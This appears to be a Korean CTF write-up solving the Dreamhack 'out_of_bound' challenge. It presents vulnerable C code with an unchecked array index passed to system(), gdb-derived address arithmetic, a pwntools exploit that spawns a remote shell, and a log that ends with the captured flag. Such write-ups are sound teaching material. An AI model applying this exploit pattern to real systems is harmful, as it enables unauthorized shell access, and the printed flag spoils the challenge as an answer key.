콘텐츠로 건너뛰기

out_of_bound

Description

이 문제는 서버에서 작동하고 있는 서비스(out_of_bound)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득하세요.
“flag” 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.

Environment

[*] '/home/ubuntu/CTF/dreamhack.io/out_of_bound/out_of_bound'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

전역 변수 idx를 name을 입력받고
idx 값을 입력받아 command에 있는 명령들을 실행시킬 수 있지만,

입력할 수 있는 idx 값의 범위가 따로 정해져있지 않다는 문제점이 있다.

ASLR이 비활성화되었기 때문에 코드 세그먼트에 있는 메모리 주소가 고정되어 있으므로
command[idx]를 name 포인터 주소로 가리키게 만들고
name 포인터 주소에는 /bin/sh를 가리키는 주소를 넣으면 된다.

name은 0x0804a0ac에 있으므로

gdb-peda$ info var name
All variables matching regular expression "name":

Non-debugging symbols:
0x0804a0ac  name

아래와 같이 name을 입력받으면 된다.



그리고 idx는 name을 가리키는 주소로 가리키게 만들기 위해
간단한 산수면 충분하다.

eax가 idx이므로,
0x0804a0ac(name 주소) = idx * 4 + 0x804a060,
idx = 19가 된다.

int __cdecl main(int argc, const char **argv, const char **envp)
...
0x0804872c <+97>:    call   0x8048540 <__isoc99_scanf@plt>
0x08048731 <+102>:	add    esp,0x10
0x08048734 <+105>:	mov    eax,DWORD PTR [ebp-0x10]
0x08048737 <+108>:	mov    eax,DWORD PTR [eax*4+0x804a060]
0x0804873e <+115>:	sub    esp,0xc
0x08048741 <+118>:	push   eax
0x08048742 <+119>:	call   0x8048500 <system@plt>
...

from pwn import *

context.log_level='debug'

p = remote('host3.dreamhack.games', 17213)

payload = p32(0x804a0b0) + b"/bin/sh"

p.sendafter("Admin name: ", payload)
p.sendlineafter("What do you want?: ", b"19")
p.interactive()
ubuntu@docker:~/CTF/dreamhack.io/out_of_bound$ python3 out_of_bound.py
[+] Opening connection to host3.dreamhack.games on port 17213: Done
[DEBUG] Received 0xc bytes:
    b'Admin name: '
[DEBUG] Sent 0xb bytes:
    00000000  b0 a0 04 08  2f 62 69 6e  2f 73 68                  │····│/bin│/sh│
    0000000b
[DEBUG] Received 0x13 bytes:
    b'What do you want?: '
[DEBUG] Sent 0x3 bytes:
    b'19\n'
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x12 bytes:
    b'flag\n'
    b'out_of_bound\n'
flag
out_of_bound
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x24 bytes:
    b'DH{2524e20ddeee45f11c8eb91804d57296}'
DH{2524e20ddeee45f11c8eb91804d57296}
태그:

답글 남기기